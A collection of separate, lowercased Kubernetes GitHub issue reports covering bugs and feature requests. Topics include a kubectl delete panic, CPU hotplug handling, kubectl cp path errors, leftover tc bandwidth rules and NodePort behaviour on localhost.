<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r note: this package is locked down.\r code outside the standard go repository should be migrated to use the corresponding package in the golang.org/x/sys repository.\r that is also where updates required by new systems or versions should be applied.\r see https://golang.org/s/go1.4-syscall for more information.\r    \r \r   what you expected to happen  :\r \r replace syscall with sys/unix pkg.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r hello dear forum . i have distributed cluster configuratuon with 3 master nodes. i have  1.68 version. during ha test that we run the master leader machine was \  killed\ . election process of new master started immediately and new master with leader asigment appeared in few seconds. but despite the new leader cluster became unstable. it take minutes to get cluster status.only after 5 minutes cluster back responding and fully function. such behavior is not looks me normal. what do you think? \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r using a local cluster   hack/local-up-cluster.sh   from head,  kubectl version  showed  1.10+ .\r \r    console\r $ kubectl version \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0.2431+daca510a4818e3-dirty\ , gitcommit:\ daca510a4818e31f8e3678185a4f7af7c9b8319e\ , gittreestate:\ dirty\ , builddate:\ 2018-04-13t01:19:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-beta.0.2431+daca510a4818e3-dirty\ , gitcommit:\ daca510a4818e31f8e3678185a4f7af7c9b8319e\ , gittreestate:\ dirty\ , builddate:\ 2018-04-13t01:19:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   what you expected to happen  : \r \r it should show  1.11+ . \r \r

i have a use case that i would like the pod ip cannot be reused until 5 mins after the ip is released. i would like to know the default behavior about this in k8s and how to configure it?\r \r thanks!

i've seen some discussion on this, but no clear solution or commit, maybe i'm wrong?\r \r i want to use the aws elb for incoming websocket connections.  the proxy protocol will preserve the client ip, but my understanding is the k8s service sessionaffinity will not work because the header is not right.  one solution is to put nginx in between to fix the header.  would be cool if k8s could do \r \r 

 \r output of  kubectl -n=kube-system delete pods kube-controller-manager-master kube-scheduler-master :\r \r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x58 pc=0x15b8643 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl.reaperfor 0x0, 0x0, 0x176ff37, 0x3, 0x0, 0x0, 0x0, 0xc42079f4a0, 0x7f6002, 0xbed12dfa5552e1db \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/delete.go:82 +0x1373\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  ring1factory .reaper 0xc4204b2bd0, 0xc42039c540, 0x2a64900, 0x1a0002c23ca0, 0xb8, 0xb8 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/factory_object_mapping.go:295 +0x151\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  factory .reaper 0xc4204b2c00, 0xc42039c540, 0x2c23ca0, 0x7fc9c7271d90, 0x0, 0x1a77de0 \r \t<autogenerated>:1 +0x47\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult.func1 0xc42039c690, 0x0, 0x0, 0x2c13980, 0x1c52e3e \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:250 +0xe9\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit.func1 0xc42039c690, 0x0, 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:396 +0x164\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit.func1 0xc42039c690, 0x0, 0x0, 0x7, 0xa \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:372 +0xe7\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit.func1 0xc42039c690, 0x0, 0x0, 0xc4209972c0, 0x7fc9c7013da0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:433 +0x4fe\r k8s.io/kubernetes/pkg/kubectl/resource.  info .visit 0xc42039c690, 0xc4209972c0, 0x0, 0x4109e7 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:105 +0x42\r k8s.io/kubernetes/pkg/kubectl/resource.visitorlist.visit 0xc4209a0fc0, 0x2, 0x2, 0xc4209972c0, 0x1, 0xc4209972c0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:234 +0x63\r k8s.io/kubernetes/pkg/kubectl/resource.  visitorlist .visit 0xc4209a0fe0, 0xc4209972c0, 0x7fc9c7271d90, 0x0 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x2a58400, 0xc4209a0fe0, 0xc4202728c0, 0xc420273540, 0x60000000001, 0xc420273540 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:428 +0x9e\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc4209a1000, 0xc420273540, 0x28, 0x2c23ca0 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x2a58380, 0xc4209a1000, 0xc4209a1060, 0x3, 0x4, 0xc4209a10a0, 0xc420257801, 0xc4209a10a0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:363 +0x9b\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc420997290, 0xc4209a10a0, 0xc420257850, 0xc42079fb60 \r \t<autogenerated>:1 +0x62\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit 0x2a58280, 0xc420997290, 0xc42039c850, 0x0, 0x4 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:391 +0xe4\r k8s.io/kubernetes/pkg/kubectl/resource.  continueonerrorvisitor .visit 0xc420257850, 0xc42039c850, 0x411148, 0x70 \r \t<autogenerated>:1 +0x4f\r k8s.io/kubernetes/pkg/kubectl/resource.  result .visit 0xc4202b1280, 0xc42039c850, 0xc420909130, 0x2a77880 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:98 +0x62\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult 0xc4202b1280, 0x2a84680, 0xc4204b2c00, 0x2a57480, 0xc42000c018, 0xc420050001, 0x0, 0xffffffffffffffff, 0xc420930000, 0x2a77880, ... \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:245 +0x16c\r k8s.io/kubernetes/pkg/kubectl/cmd.  deleteoptions .rundelete 0xc42085c2c0, 0xc420397b00, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:235 +0xd2\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmddelete.func1 0xc420397b00, 0xc42005ab00, 0x3, 0x4 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:142 +0x178\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420397b00, 0xc42005a900, 0x4, 0x4, 0xc420397b00, 0xc42005a900 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x234\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc4203a18c0, 0x5000107, 0x0, 0xffffffffffffffff \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x2fe\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4203a18c0, 0xc4204b2c00, 0x2a57440 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:41 +0xd5\r main.main  \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:27 +0x26\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r kubelet doesn't follow cpu hotplug events. for example, if i offline a cpu, guaranteed pods might still be assigned there even though there is no real capacity available. also, the cpu manager static policy might try to assign containers to non-existent cpus. this would lead to containers not starting, because the cri cpuset assignment would fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on the master node check cpu capacity:\r \r     $ kubectl get node worker-node -o json | jq '.status | .capacity | .cpu'\r     \ 4\ \r     \r on the worker node offline a cpu:\r \r       echo 0 > /sys/devices/system/cpu/cpu2/online\r     \r on the master node check cpu capacity again:\r \r     $ kubectl get node worker-node -o json | jq '.status | .capacity | .cpu'\r     \ 4\ \r \r   what you expected to happen  :\r \r the cpu capacity should have gone to 3.\r \r   anything else we need to know?  :\r \r the correct way to fix this would be to listen to udev hotplug events from a netlink socket. when an event telling that a cpu has been added or removed is received, kubelet should do a few things:\r 1. inform api server about the new capacity in nodestatus message.\r 2. inform cpu manager that a new topology must be loaded. the containers must be reassigned to cpus, because either the default pool grew or some container lost a cpu on which it was assigned to.\r \r cpu hotplug functionality is needed for some pretty special use cases. one of them is the possibility to  dynamically  disable smt support by offlining a sibling core. i know that this bug is not something that a regular user will meet on daily basis, but since kubernetes manages cpu usage and cpu allocations, this is something that it should take into account.\r \r i would be happy to take a look at fixing this bug if there is some sort of consensus that such a patch might be accepted in kubernetes.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r         client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , \r         gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r         server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , \r         gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: local vms\r - os  e.g. from /etc/os-release :\r \r         name=fedora\r         version=\ 28  workstation edition \ \r - kernel  e.g.  uname -a  :\r \r         4.17.12-200.fc28.x86_64

when running unit tests as a job, i'd like to also run a mysql, rabbitmq, memcache and elasticsearch container in the same pod. as these are long running services the job will never finish. there's also currently no general way to stop a container gracefully from another container in the same pod. this makes it very hard to run unit tests in the cluster.  i propose to make it easily possible to stop other containers in the pod, or allow a main container to be specified that when it exits will bring the other containers in the pod down automatically.

fluentd-elasticsearch addon\r ---\r bug report\r \r   kubernetes version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :  debian gnu/linux 8  jessie  \r -   kernel    e.g.  uname -a  :  linux ip-172-20-80-201 4.4.26-k8s  1 smp fri oct 21 05:21:13 utc 2016 x86_64 gnu/linux \r -   install tools  : kops\r -   others  :\r \r \r   what happened  :\r was trying to setup  fluentd-es-v1.20  daemonset on new cluster. it was not deploying pods on the instances.\r \r   what you expected to happen  :\r  fluentd-es-v1.20  spawns one pod per node\r \r   how to reproduce it    as minimally and precisely as possible :\r - create cluster with latest kops  version 1.4.3 .\r - setup fluentd-elasticsearch\r    \r git clone git@github.com:kubernetes/kubernetes.git\r cd kubernetes\r kubectl create -f cluster/addons/fluentd-elasticsearch\r    \r \r   anything else do we need to know  :\r additional info is in pr  39621 \r historical label overview https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/meta/v1/well_known_labels.go l31 \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \ cp\ \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    ➜  midi-ml git: exploratory_analysis  ✗ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : google cloud platform\r -   os    e.g. from /etc/os-release :\r \r os in the container:\r    \r jovyan@jupyter-server-pod-mg45v:~$ cat /etc/os-release                                                                             \r pretty_name=\ debian gnu/linux 8  jessie \                                                                                           \r name=\ debian gnu/linux\                                                                                                             \r version_id=\ 8\                                                                                                                      \r version=\ 8  jessie \                                                                                                                \r id=debian                                                                                                                          \r home_url=\ http://www.debian.org/\                                                                                                   \r support_url=\ http://www.debian.org/support\                                                                                         \r bug_report_url=\ https://bugs.debian.org/\ \r    \r os on the local machine:\r    \r ➜  midi-ml git: exploratory_analysis  ✗ system_profiler spsoftwaredatatype\r \r software:\r \r     system software overview:\r \r       system version: macos 10.12.1  16b2657 \r       kernel version: darwin 16.1.0\r       boot volume: macintosh hd\r       boot mode: normal\r    \r -   kernel    e.g.  uname -a  :  darwin zacharys-macbook-pro.local 16.1.0 darwin kernel version 16.1.0: wed oct 19 20:31:56 pdt 2016; root:xnu-3789.21.4~4/release_x86_64 x86_64 \r -   install tools  :\r -   others  :\r \r \r   what happened  : when i run the following command, the copy works fine:\r  $ kubectl cp notebooks jupyter-server-pod-mg45v:/home/jovyan/persistent_data/midi-ml// \r \r however, when i run the same command, but with a fully qualified local filepath, it throws an error:\r  $ kubectl cp /users/zacharypustejovsky/midi-ml/notebooks/ jupyter-server-pod-mg45v:/home/jovyan/persistent_data/midi-ml// \r \r  error: stat /users/zacharypustejovsky/midi-ml/notebooks/notebooks: no such file or directory \r \r as you can see, it finds the basename and appends it onto the end of the filepath. note that the directory i'm in is:\r \r    \r $ pwd\r /users/zacharypustejovsky/midi-ml\r    \r \r so instead of trying to copy  notebooks , it's copying  notebooks/notebooks  and thus throwing an error.\r \r   what you expected to happen  : i would expect it not to append the basename to the end of the string twice.\r \r \r   how to reproduce it    as minimally and precisely as possible : commands above should reproduce it. run  kubectl cp  with fully qualified local filepath.\r \r \r   anything else we need to know  :\r \r

potentially blocking issue,  43721, was because the scalability test waits for 100 pods to come up in 600s.  the investigation shows that 100 pods takes anywhere from 200s to >600s.  once >600, it causes the tests to failure.  even after fix 0cb4a33, test 69 still took a full 600s to bring up 100 pods.\r \r the ask here is to make the time to bring up 100 pods less variable, or make the time limit double what the expected max time to bring up 100 pods.\r \r

from cloudtrail logs:\r \r    \r     \ errormessage\ : \ the maximum number of filter values specified on a single call is 200\ ,\r    \r \r this affects both load balancer and volume features that rely on  getinstancesbynodenames  \r \r cc @justinsb

this is a prioritized list of fixes i want work on for the kubernetes presubmit process, split into two categories. these issues are so closely connected that it makes sense to keep them in a single issue and consolidate discussion.\r \r     user-friendly build & update scripts\r  -     build and update scripts run in ~~docker containers~~ some kind of hermetic environment. they do not rely on the local environment for tooling or services  e.g. etcd .\r  -     build and update scripts can be cleanly interrupted with ^c.\r  -     build and update scripts print only human-friendly information.\r  -     build scripts only build teststale and go-bindata once.\r  -     all update scripts complete in <10 seconds.\r \r     better developer presubmit onboarding\r \r  -     developer documentation explains how to accurately test individual packages with bazel.  no stale code \r  -     developer documentation under the kubernetes/community repo explains our presubmit process.\r  -     documentation generated from the code  largely unused  has been deleted. developers use godoc when they want to refer to code-based documentation.\r \r feedback welcome.\r \r fyi @pwittrock

the image can't pull\r \r gcr.io/google-containers/elasticsearch:v5.5.1-1\r gcr.io/google-containers/fluentd-elasticsearch:v2.0.0

 \r   what happened  :\r kubefed doesn't handle relative paths in kubeconfig correctly, like kubectl does.\r \r   what you expected to happen  :\r that kubefed handles it like kubectl.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use relative paths in kubeconfig for credentials  e.g. ca certificates . then use kubectl to see that it works from arbitrary directories. then try to use kubefed and see it fail.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0+0b9efaeb34a2f\ , gitcommit:\ 638b0a06d928e7a12fa29bb12610158a235585d7\ , gittreestate:\ dirty\ , builddate:\ 2017-10-02t09:48:25z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r gcp\r - os  e.g. from /etc/os-release :\r ubuntu xenial\r - kernel  e.g.  uname -a  : irrelevant\r - install tools: gke\r \r

is this a bug report or feature request?  :\r /kink bug\r \r   what happened  :\r ======pod.yaml=======\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: qos\r   annotations:\r     kubernetes.io/ingress-bandwidth: 2m\r     kubernetes.io/egress-bandwidth: 3m\r spec:\r   containers:\r   - name: test\r     image: moutten/iperf\r    \r create pod will create tc class and filter\r    \r tc class add dev cbr0 parent 1: classid 1:1 htb rate 2000kbit\r tc filter add dev cbr0 protocol ip parent 1:0 prio 1 u32 match ip dst 10.6.0.71/32 flowid 1:1\r tc class add dev cbr0 parent 1: classid 1:2 htb rate 3000kbit\r tc filter add dev cbr0 protocol ip parent 1:0 prio 1 u32 match ip src 10.6.0.71/32 flowid 1:2\r    \r delete pod only delete one class and filter\r    \r tc filter del dev cbr0 parent 1: proto ip prio 1 handle 800::800 u32\r tc class del dev cbr0 parent 1: classid 1:1\r    \r use  tc class show dev cbr0  or  tc filter show dev cbr0  also have some rule does not delete\r \r maybe a bug or some where need to be config in kernel ?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r the func findcidrclass only find one, maybe need to return slice ?\r \r    \r func  t  tcshaper  findcidrclass cidr string   class, handle string, found bool, err error  {\r \tdata, err := t.e.command \ tc\ , \ filter\ , \ show\ , \ dev\ , t.iface .combinedoutput  \r \tif err != nil {\r \t\treturn \ \ , \ \ , false, err\r \t}\r \r \thex, err := hexcidr cidr \r \tif err != nil {\r \t\treturn \ \ , \ \ , false, err\r \t}\r \tspec := fmt.sprintf \ match %s\ , hex \r \r \tscanner := bufio.newscanner bytes.newbuffer data  \r \tfilter := \ \ \r \tfor scanner.scan   {\r \t\tline := strings.trimspace scanner.text   \r \t\tif len line  == 0 {\r \t\t\tcontinue\r \t\t}\r \t\tif strings.hasprefix line, \ filter\   {\r \t\t\tfilter = line\r \t\t\tcontinue\r \t\t}\r \t\tif strings.contains line, spec  {\r \t\t\tparts := strings.split filter, \  \  \r \t\t\t// expected tc line:\r \t\t\t// filter parent 1: protocol ip pref 1 u32 fh 800::800 order 2048 key ht 800 bkt 0 flowid 1:1\r \t\t\tif len parts  != 19 {\r \t\t\t\treturn \ \ , \ \ , false, fmt.errorf \ unexpected output from tc: %s %d  %v \ , filter, len parts , parts \r \t\t\t}\r \t\t\treturn parts 18 , parts 9 , true, nil\r \t\t}\r \t}\r \treturn \ \ , \ \ , false, nil\r }\r    \r   environment  :\r - kubernetes version  use  v1.7.9  :\r - cloud provider or hardware configuration:\r - os  ubuntu 16.04 lts :\r - kernel  e.g.  4.4.0-31-generic  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r   kubelet report an error.kubectl get node is not ready  \r  there is a meaningful conflict  firstresourceversion: \ 104201\ , currentresourceversion: \ 4293\  :\r  diff1={\ metadata\ :{\ resourceversion\ :\ 4293\ },\ status\ :{\ conditions\ : {\ lastheartbeattime\ :\ 2018-01-03t07:38:24z\ ,\ lasttransitiontime\ :\ 2018-01-03t07:42:59z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2018-01-03t07:38:24z\ ,\ lasttransitiontime\ :\ 2018-01-03t07:42:59z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2018-01-03t07:38:24z\ ,\ lasttransitiontime\ :\ 2018-01-03t07:42:59z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2018-01-03t07:38:24z\ ,\ lasttransitiontime\ :\ 2018-01-03t07:42:59z\ ,\ message\ :\ kubelet stopped posting node status.\ ,\ reason\ :\ nodestatusunknown\ ,\ status\ :\ unknown\ ,\ type\ :\ ready\ } }}\r , diff2={\ status\ :{\ conditions\ : {\ lastheartbeattime\ :\ 2018-01-04t09:31:09z\ ,\ lasttransitiontime\ :\ 2018-01-04t09:31:09z\ ,\ message\ :\ kubelet has no disk pressure\ ,\ reason\ :\ kubelethasnodiskpressure\ ,\ status\ :\ false\ ,\ type\ :\ diskpressure\ },{\ lastheartbeattime\ :\ 2018-01-04t09:31:09z\ ,\ lasttransitiontime\ :\ 2018-01-04t09:31:09z\ ,\ message\ :\ kubelet has sufficient memory available\ ,\ reason\ :\ kubelethassufficientmemory\ ,\ status\ :\ false\ ,\ type\ :\ memorypressure\ },{\ lastheartbeattime\ :\ 2018-01-04t09:31:09z\ ,\ lasttransitiontime\ :\ 2018-01-04t09:31:09z\ ,\ message\ :\ kubelet has sufficient disk space available\ ,\ reason\ :\ kubelethassufficientdisk\ ,\ status\ :\ false\ ,\ type\ :\ outofdisk\ },{\ lastheartbeattime\ :\ 2018-01-04t09:31:09z\ ,\ lasttransitiontime\ :\ 2018-01-04t09:31:09z\ ,\ message\ :\ kubelet is posting ready status\ ,\ reason\ :\ kubeletready\ ,\ status\ :\ true\ ,\ type\ :\ ready\ } ,\ nodeinfo\ :{\ gpus\ :  }}}\r e0104 17:31:09.779522    7223 kubelet_node_status.go:318  unable to update node status: update node status exceeds retry count \r \r   what you expected to happen  :\r \r i found a pr about this issue,\r   44788  https://github.com/kubernetes/kubernetes/pull/44788 \r it has been picked to 1.6. i want to know why this issue still happend.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this issue is incidental, bug i found an issue still meet this problem\r   52498  https://github.com/kubernetes/kubernetes/issues/52498 \r he solves it by changing etcd 3.1.10 instead of 3.2.7.\r   when i change the leader of etcd cluster, this issue will be gone.\r  is this a known incompatibility between k8s and etcd or a etcd bug?  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.9\r - etcd version: 3.0.17\r \r   \r   \r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-cos-master-default\r \r   which test s  are failing  :\r  sig-storage  csi volumes csi topology test using gce pd driver should provision zonal pd with delayed volume binding and allowedtopologies set and mount the volume to a pod\r \r   since when has it been failing  :\r 3/6\r \r   testgrid link  :\r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/35488\r \r   reason for failure  :\r tbd\r \r   anything else we need to know  :\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r i would like to have a way to reference secrets from configmaps.\r \r for example:\r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: special-config\r   namespace: default\r data:\r   examplevar1: foobar1\r   examplevar2: foobar2\r   examplesecret:\r     valuefrom:\r       secretkeyref:\r         name: my-secrets\r         key: my-secret-key\r      \r \r   why is this needed  :\r \r configmaps are useful to describe in one place all the env variables: the you can easily reuse the same env for multiple deployments. basically if i have multiple deployments or pods, i can easily include the same configmap and have all the env variables... except the secret env variables :  indeed kubernetes doesn't allow me to reference secrets from the configmap, so i have to reference the secrets separately.\r \r i think that it would be useful to have a way to   define all the env variables in one place  . my proposed feature would achieve that, while also preserving security.

i've just launched kubernetes 1.3.0 i have a nodeport service with a port of 30000 mapped to port 5000  when i  curl localhost:30000  it hangs when i  curl 127.0.0.1:30000  it works  i get a response   it works on kubernetes 1.1.7  any ideas?

